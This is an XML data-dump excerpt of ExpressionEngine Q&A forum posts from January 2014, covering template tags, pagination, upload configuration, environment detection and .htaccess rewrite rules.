  <row Id="18258" PostTypeId="2" ParentId="18255" CreationDate="2014-01-10T13:00:00.807" Score="1" Body="&lt;p&gt;What about setting a cookie with a random string as the identifier? Will be much more reliable I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just create the string once, then set the cookie and insert your visitor into your database at the same time.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( ! $cookie = ee()-&amp;gt;input-&amp;gt;cookie('guest_id') )&#xA;{&#xA;    ee()-&amp;gt;load-&amp;gt;helper('string');&#xA;    $id = random_string('unique');&#xA;    ee()-&amp;gt;functions-&amp;gt;set_cookie('guest_id', $id);&#xA;    // Do your database stuff here.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-10T13:00:00.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18259" PostTypeId="1" CreationDate="2014-01-10T14:43:11.277" Score="1" ViewCount="288" Body="&lt;p&gt;I hear rumors that this is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to set up a photo gallery that only shows 10 of 100+ photos. User click paginated links to see more photos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody ever have to set this up? I hear a rumor it requires Simple Math?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a solution, share it!&lt;/p&gt;&#xA;" OwnerUserId="2591" LastActivityDate="2015-02-05T19:35:56.597" Title="Pagination with Matrix fields?" Tags="|matrix|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18260" PostTypeId="2" ParentId="18238" CreationDate="2014-01-10T14:56:44.790" Score="2" Body="&lt;p&gt;I actually solved it by using the javascript &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.location.hash.substr(2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2014-01-10T14:56:44.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18261" PostTypeId="1" AcceptedAnswerId="18271" CreationDate="2014-01-10T14:57:16.267" Score="3" ViewCount="857" Body="&lt;p&gt;I have a channel with a single relationship field. In my template, I want to access the relationship's list of categories. Unfortunately, this does not work: (example simplified to illustrate my point)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;parent&quot;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;p&amp;gt;{relationship_field:categories backspace=&quot;2&quot;}{category_name}, {/relationship_field:categories}&amp;lt;/p&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to make something like this work?&lt;/p&gt;&#xA;" OwnerUserId="591" LastActivityDate="2014-01-10T17:35:00.963" Title="Accessing categories of a relationship field in EE2.6" Tags="|channel-entries|categories|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18262" PostTypeId="1" CreationDate="2014-01-10T15:41:54.080" Score="1" ViewCount="68" Body="&lt;p&gt;I'm making some changes to an existing ExpressionEngine site which involve moving the system above the web root and using Focus Labs config set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of the new config set up I had to define the upload directories within my config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I synched the directory within the EE control panel I got error stating&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;invalid_filename on file foo.jpg&#xA;invalid_filename on file bar.jpg&#xA;etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-01-10T15:41:54.080" Title="&quot;invalid_filename&quot; error when trying to synchronise upload directories" Tags="|file-uploads|error|config|uploads|sync|" AnswerCount="1" CommentCount="0" ClosedDate="2014-01-31T04:34:11.067" ContentLicense="CC BY-SA 3.0" />
  <row Id="18263" PostTypeId="2" ParentId="18262" CreationDate="2014-01-10T15:41:54.080" Score="2" Body="&lt;p&gt;This is caused by not having a trailing slash on the server_path parameter in the upload directory config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Focus Labs documentation within the master config doesn't include the slash&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['upload_preferences'] = array(&#xA;    1 =&amp;gt; array(&#xA;        'name'              =&amp;gt; 'Uploads',&#xA;    'server_path'       =&amp;gt; $images_path . '/uploads',&#xA;    'url'               =&amp;gt; $images_url  . '/uploads/'&#xA;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By adding a trailing slash to the server_path you can fix the error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['upload_preferences'] = array(&#xA;    1 =&amp;gt; array(&#xA;        'name'              =&amp;gt; 'Uploads',&#xA;    'server_path'       =&amp;gt; $images_path . '/uploads/',&#xA;    'url'               =&amp;gt; $images_url  . '/uploads/'&#xA;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-01-10T15:41:54.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18264" PostTypeId="1" AcceptedAnswerId="18283" CreationDate="2014-01-10T15:45:28.077" Score="0" ViewCount="49" Body="&lt;p&gt;My project links to an external form. Once that external form is submitted, the user is brought back to the ee site. I need to send the form a param (ie ?action=dev) to tell it which environment to return to. We currently have dev, client review, staging (excessive much?) and will eventually have the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to have to remember to change these external links when updating. One of the links is a Low Variables var so I can't php strpos and it's not even letting me do an if statement on the value of site_url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does a plugin or extension exist that will help me out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Amanda&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2014-01-11T10:30:21.403" Title="Addon to return different values based on environment?" Tags="|add-on|low-variables|staging-server|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18265" PostTypeId="1" CreationDate="2014-01-10T15:48:57.813" Score="1" ViewCount="50" Body="&lt;p&gt;What is the best way to alter some of the default user feedback messages stored in the language files? I can obviously edit directly the language file in question but that would get overwritten on every upgrade.&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2014-01-31T05:12:52.073" Title="Changing default Cartthrob language files" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18266" PostTypeId="2" ParentId="17592" CreationDate="2014-01-10T15:49:29.217" Score="0" Body="&lt;p&gt;Ended up writing a plugin to get all form entries with the same email.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2014-01-10T15:49:29.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18268" PostTypeId="1" AcceptedAnswerId="18269" CreationDate="2014-01-10T16:48:42.493" Score="0" ViewCount="37" Body="&lt;p&gt;I've got a site running on a client's server and when we go to add a file, the Assets modal brings up the front-end of the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if this is due to us making index.html the default directory file prior to us making the site live.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-11-05T00:50:09.110" Title="Assets window brings up the front-end of the website" Tags="|assets|pixelandtonic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18269" PostTypeId="2" ParentId="18268" CreationDate="2014-01-10T17:01:07.597" Score="1" Body="&lt;p&gt;All sorted added the assets config overrides of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_cp_path'] = &quot;./system/&quot;;&#xA;$config['assets_site_url'] = &quot;/index.php&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and we're good.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-01-10T17:01:07.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18270" PostTypeId="2" ParentId="18251" CreationDate="2014-01-10T17:25:27.167" Score="1" Body="&lt;p&gt;It'd be a tall order to synchronize activity on any third party social network and your EE site; if you absolutely need a unified experience, pick one and forget about the EE comments module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it a tall order? Imagine Facebook Frank leaving a comment on your Facebook site, which Local Site Larry (who doesn't have a Facebook account) responds to via the comments module in EE. How would you represent Local Site Larry on Facebook when his comment gets synchronized there? What happens when Local Site Lucy, who also has a Facebook account, is participating in a thread via both Facebook and your EE site? How do you tie her EE account to her Facebook account? It's gets mighty complex mighty fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developers.facebook.com/docs/plugins/comments&quot; rel=&quot;nofollow&quot;&gt;Facebook has a few different options for commenting/activity via front-end/JS widgets that can be embedded on your site&lt;/a&gt;; if you're looking for a more robust commenting system that's centered on your site, instead of Facebook, &lt;a href=&quot;http://disqus.com/&quot; rel=&quot;nofollow&quot;&gt;Disqus&lt;/a&gt; is the go-to tool these days, I believe.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-10T17:25:27.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18271" PostTypeId="2" ParentId="18261" CreationDate="2014-01-10T17:35:00.963" Score="6" Body="&lt;p&gt;I believe you need to have your categories tags set within the relationship tag pair like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;parent&quot;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {relationship_field}&#xA;        &amp;lt;p&amp;gt;{relationship_field:categories backspace=&quot;2&quot;}{category_name}, {/relationship_field:categories}&amp;lt;/p&amp;gt;&#xA;    {/relationship_field}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-01-10T17:35:00.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18272" PostTypeId="1" CreationDate="2014-01-10T18:25:16.927" Score="1" ViewCount="86" Body="&lt;p&gt;We have a keywords search url as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/search/results/search&amp;amp;keywords=kite+apple&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We have an entry called 'kite', but not one called 'apple'. This search results request returns 'no results found'. If we remove the 'apple' variable, it returns the 'kite' entry fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using the &lt;code&gt;inclusive_keywords=&quot;no&quot;&lt;/code&gt; parameter, so I would have expected the 'kite' entry to be returned with or without the 'apple'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be gratefully received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jonathan&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2014-01-10T18:25:16.927" Title="Solspace Super Search - inclusive_keywords=&quot;no&quot; not working" Tags="|solspace|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18273" PostTypeId="2" ParentId="18259" CreationDate="2014-01-10T18:43:30.500" Score="1" Body="&lt;p&gt;Here's a fairly simple pagination with only a previous and next button example. It should give you a good place to start. The example uses pagination number in the 3rd segment and instead of Simple Math uses &lt;a href=&quot;http://devot-ee.com/add-ons/math&quot; rel=&quot;nofollow noreferrer&quot;&gt;Math&lt;/a&gt; plugin. May have over commented, but:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--   how many matrix rows per page?   --}&#xA;{preload_replace:rows_per_page=&quot;2&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;YOUR_CHANNEL&quot; url_title=&quot;YOUR_URL_TITLE&quot; dynamic=&quot;no&quot;} &#xA;&#xA;    {if YOUR_MATRIX_FIELD}&#xA;&#xA;        {!--   matrix rows   --}&#xA;        {YOUR_MATRIX_FIELD offset=&quot;{segment_3}&quot; limit=&quot;{rows_per_page}&quot;}&#xA;            {cell_1}&amp;lt;br&amp;gt;&#xA;            {cell_2}&amp;lt;br&amp;gt;&#xA;            {cell_3}&#xA;            {!--   etc...   --}&#xA;            &amp;lt;hr&amp;gt;&#xA;        {/YOUR_MATRIX_FIELD}    &#xA;&#xA;        {!-- ---------------------- &#xA;        previous link &#xA;        ---------------------- --}&#xA;        {!--   if we're on the second page   --}&#xA;        {if &quot;{segment_3}&quot; == &quot;{rows_per_page}&quot;} &#xA;            &amp;lt;a href=&quot;{path='YOUR_TEMPLATE_GROUP/YOUR_TEMPLATE'}&quot;&amp;gt;Prev&amp;lt;/a&amp;gt;  &#xA;&#xA;        {!--   else if we're further along in pages   --} &#xA;        {if:elseif &quot;{segment_3}&quot; &amp;gt; &quot;{rows_per_page}&quot;} &#xA;            &amp;lt;a href=&quot;{path='YOUR_TEMPLATE_GROUP/YOUR_TEMPLATE/{exp:math formula='{segment_3} - {rows_per_page}' absolute='yes'}'}&quot;&amp;gt;Prev&amp;lt;/a&amp;gt;   &#xA;        {/if}&#xA;&#xA;        {!-- ---------------------- &#xA;        next link &#xA;        ---------------------- --}&#xA;        {!--   if the total matrix rows are greater than sum of pagination segment plus rows per page   --}&#xA;        {if &quot;{YOUR_MATRIX_FIELD:total_rows}&quot; &amp;gt; &quot;{exp:math formula='{segment_3} + {rows_per_page}' absolute='yes'}&quot;}&#xA;            {!--   if not on the first page calculate next page segment, else show link to second page   --}&#xA;            &amp;lt;a href=&quot;{path='YOUR_TEMPLATE_GROUP/YOUR_TEMPLATE/{if segment_3}{exp:math formula='{segment_3} + {rows_per_page}' absolute='yes'}{if:else}{rows_per_page}{/if}'}&quot;&amp;gt;Next&amp;lt;/a&amp;gt;   &#xA;        {/if}&#xA;&#xA;    {/if}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(this example builds on a related answer &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5496/matrix-pagination-next-link-links-to-empty-page&quot;&gt;here&lt;/a&gt;) &lt;/p&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-01-10T19:42:50.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18274" PostTypeId="1" AcceptedAnswerId="18275" CreationDate="2014-01-10T18:44:26.347" Score="0" ViewCount="43" Body="&lt;p&gt;I can't seem to get a list of tags for an entry in multi-entry view. According to the docs, this should work, but I get no output.  Anyone have any luck doing this or suggestions?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;articles&quot;  status=&quot;not closed&quot; limit=&quot;20&quot;}&#xA;&#xA;  &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;  {exp:tag:tags&#xA;    entry_id=&quot;{entry_id}&quot;&#xA;    backspace=&quot;2&quot;&#xA;    orderby=&quot;relevance&quot;&#xA;    sort=&quot;asc&quot;&#xA;    limit=&quot;6&quot;&#xA;  }&#xA;    &amp;lt;a href=&quot;{path='articles'}/tag/{websafe_tag}&quot;&amp;gt;{tag}&amp;lt;/a&amp;gt;,{/exp:tag:tags}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2014-01-10T20:08:14.940" Title="Solspace Tag on Multi Entry Pages" Tags="|solspace|solspace-tag|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18275" PostTypeId="2" ParentId="18274" CreationDate="2014-01-10T20:08:14.940" Score="0" Body="&lt;p&gt;Your tag loop needs to be an embed and passed the entry ID.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-01-10T20:08:14.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18277" PostTypeId="1" CreationDate="2014-01-10T20:42:44.867" Score="0" ViewCount="575" Body="&lt;p&gt;1st off I know about the redirect add-ons, but I need to do this in my .htaccess and not load any more on EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I found EE and started making EE sites. I used a free gallery program to create my gallery for my web site. Now I'm moving over the images to my EE built gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thousands of images, no problem just htaccess it. For the most part old folders went to new posts. A few old galleries needed each picture sent to it's correct post entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After creating and testing all looked great, had to do a little more that I would have thought. Then I removed the old files and directories for the RewriteRule's I created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I get my EE 404 and lost page notices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then if I recreated the directories, those would work. Then recreated empty html docs named the same as the previous html doc, and then those RewriteRule's worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think if EE sees link to an actual folder it leaves it alone, but if no template for folder exists it serves 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I have switchee checking segments and EE no post settings to verify all pages of my EE site)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But why is EE still serving something thats in the .htaccess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could add some more to my 404 segment check. Rather not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or continue to create empty directories and empty same named html files for a fix, but why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before deleting the old files this is what I had to do to get all files and sub directories to redirect to new post entry.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule gallery/Trees/(.+)?/?$ http://mydomain.com/entry/trees_and_plants [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But as of this moment I have to recreate every doc as an empty file named the same. &#xA;But could there be a way to have EE ignore certain directories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Mike&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically after my rewrites, pages from my old gallery will be redirected to my new gallery. But as soon as I removed the old galleries files and directories my EE pick up on the bad pages and serves up my 404. right now having problems with gallery/Trees dir and pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a shorten version of my htacces&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;RewriteEngine On &#xA;&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} !-f &#xA;&#xA;RewriteCond %{REQUEST_FILENAME} !-d &#xA;&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&#xA;RewriteBase /&#xA;&#xA;RewriteCond %{HTTP_HOST} ^www.mydomain.com [NC]&#xA;&#xA;RewriteRule ^(.*)$ http://mydomain.com/$1 [L,R=301]&#xA;&#xA;RedirectMatch 301 /forums/(.*) http://mydomain.com/NEW_forums/$1&#xA;&#xA;RewriteCond %{QUERY_STRING} /forums/ &#xA;&#xA;RewriteRule (.*) http://mydomain.com/NEW_forums/? [R=301,L]&#xA;&#xA;RewriteRule ^gallery/Trees/ http://mydomain.com/entry/lego_trees_and_plants [L,R=301]&#xA;&#xA;&#xA;deny from somedomain.com&#xA;&#xA;RewriteCond %{HTTP_REFERER} !^$&#xA;&#xA;RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?otherdomain.com [NC]&#xA;&#xA;RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?otherdomain2.com [NC]&#xA;&#xA;RewriteRule \.(jpg|jpeg|png|js|css|ldr|zip|lxf)$ http://mydomain.com/ask4_hotlink_mydomain_com.gif [NC,R,L]&#xA;&#xA;##EE Spam Block&#xA;&#xA;blah, blah, blah&#xA;&#xA;##End EE Spam Block&#xA;&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="2437" LastEditorUserId="2437" LastEditDate="2014-01-15T22:23:19.137" LastActivityDate="2014-01-15T22:23:19.137" Title=".htaccess RewriteRule not working as desired" Tags="|redirects|.htaccess|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18279" PostTypeId="1" CreationDate="2014-01-10T21:00:03.290" Score="2" ViewCount="38" Body="&lt;p&gt;I have a general sign up page, and special sign up page that assigns those sign ups to a different group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to send general the normal activation email, and my special group a differently worded activation email?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2014-02-10T11:29:03.453" Title="Can I specify a separate activation email?" Tags="|email|activation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18280" PostTypeId="2" ParentId="14147" CreationDate="2014-01-10T21:17:02.220" Score="1" Body="&lt;p&gt;We are replacing a very faulty Magento store with BR for the exact same purpose. We sell Insurance Education courses, online and classroom. We store the courses as products and of course we have had to make a whole lot of modifications to make our stuff work due to the unique nature of our business but it should work out of the box for you unless you need some extra processing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of our requirements was to synchronize membership with our Oracle DB as well as verification for purchases, continuing education, etc. with data on our Oracle system. This required writing several extensions and plugins but we're almost done.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2014-01-10T21:17:02.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18281" PostTypeId="2" ParentId="18277" CreationDate="2014-01-11T00:36:47.490" Score="1" Body="&lt;p&gt;Here are a couple general things that might help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the one RewriteRule you've posted could and should be simplified. From this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule gallery/Trees/(.+)?/?$ http://mydomain.com/entry/trees_and_plants [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^gallery/Trees/ http://mydomain.com/entry/trees_and_plants [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, here's a rewrite for EE to remove index.php that excludes the gallery/Trees path -- this should be your &lt;strong&gt;final&lt;/strong&gt; rewrite block.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 !^gallery/Trees/ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this doesn't help, please post more details about your rewrites, and I'll take another shot.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2014-01-11T00:36:47.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18282" PostTypeId="2" ParentId="17850" CreationDate="2014-01-11T00:56:33.543" Score="1" Body="&lt;p&gt;Have you tried adding to your task status lookup a &lt;code&gt;search&lt;/code&gt; parameter that further filters what Playa returns? Based on your description, I think you'd want to add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:cf_status_related_company=&quot;={member_company_id}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, what you have here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{tasks:exp:playa:parents limit=&quot;1&quot; channel=&quot;status&quot; field=&quot;cf_status_related_task&quot; var_prefix=&quot;status&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would be changed to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{tasks:exp:playa:parents limit=&quot;1&quot; channel=&quot;status&quot; field=&quot;cf_status_related_task&quot; search:cf_status_related_company=&quot;={member_company_id}&quot; var_prefix=&quot;status&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If Playa search works the way I think, this would filter out your task statuses to just those that matched the &lt;code&gt;{member_company_id}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that work?&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2014-01-11T00:56:33.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18283" PostTypeId="2" ParentId="18264" CreationDate="2014-01-11T10:30:21.403" Score="2" Body="&lt;p&gt;This is what the &lt;code&gt;assign_to_config&lt;/code&gt; array in your main index.php file is for (assuming you're not using something like &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;FocusLab Master Config&lt;/a&gt;, which makes multi-environment really easy). If you don't want to use that approach, the quick way is to just crack open your index.php file, scroll down to the bit where &lt;code&gt;assign_to_config&lt;/code&gt; gets set, and create some global variables based on, say, the $_SERVER['HTTP_HOST'] var.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a quick example using a switch statement to determine local/dev/live environment and setting some global variables accordingly (I use this as a quick and easy method for displaying draft content on the dev site):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch($_SERVER[&quot;HTTP_HOST&quot;]) { &#xA;    case &quot;dev.site.com&quot; :&#xA;        $assign_to_config['global_vars']['gv_site'] = 'dev';&#xA;        $assign_to_config['global_vars']['gv_entry_statuses'] = 'open|Draft';&#xA;        $assign_to_config['site_url'] = &quot;http://dev.site.com/&quot;; // if you don't set this, it's taken from the database instead&#xA;        break;&#xA;&#xA;    case &quot;www.site.com&quot; :&#xA;    case &quot;site.com&quot; :   &#xA;        $assign_to_config['global_vars']['gv_site'] = 'live';&#xA;        $assign_to_config['global_vars']['gv_entry_statuses'] = 'open';&#xA;        break;&#xA;&#xA;    case &quot;site.dev&quot; :&#xA;    case &quot;localhost&quot; :&#xA;        $assign_to_config['global_vars']['gv_site'] = 'dev';&#xA;        $assign_to_config['global_vars']['gv_entry_statuses'] = 'open';&#xA;        $assign_to_config['site_url'] = &quot;http://site.dev/&quot;;&#xA;        break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then use &lt;code&gt;{gv_site}&lt;/code&gt; anywhere in your templates.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-01-11T10:30:21.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18284" PostTypeId="2" ParentId="18279" CreationDate="2014-01-11T10:35:40.817" Score="1" Body="&lt;p&gt;I believe you can do this with &lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-01-11T10:35:40.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18285" PostTypeId="1" AcceptedAnswerId="18287" CreationDate="2014-01-11T14:46:23.843" Score="1" ViewCount="183" Body="&lt;p&gt;Problem: Include analytic JS code in production, but not in staging or development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attempted to detect production environment with: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if &quot;{site_url}&quot; == &quot;http://www.example.com/&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... but that's not evaluating as true; attempted to debug to get correct value of &lt;code&gt;{site_url}&lt;/code&gt;, but, the value I'm using looks to be correct (copied/pasted to be sure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;!-- {site_url} --&amp;gt;&lt;/code&gt; outputs &lt;code&gt;&amp;lt;!-- http://www.example.com/ --&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a parse order issue, or is there sometime obvious I'm missing in my pre-coffee state this morning?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's parse order, how do you go about doing conditionals on the environment within your templates if not with &lt;code&gt;{site_url}&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I'll actually respond if you take the time to assist, and, I'll mark the correct answer as answered ;-)&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-11T16:42:28.823" Title="Detecting Server Environment in Template - {site_url} Conditional Fails" Tags="|templates|conditionals|site-url|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18286" PostTypeId="2" ParentId="18285" CreationDate="2014-01-11T16:12:34.667" Score="0" Body="&lt;p&gt;{if site_url == &quot;www.example.com&quot;} it's true! {/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your syntax is incorrect. Notice that the site variable does not have {} or uses quotes. That's no correct in the EE syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2594" LastActivityDate="2014-01-11T16:12:34.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
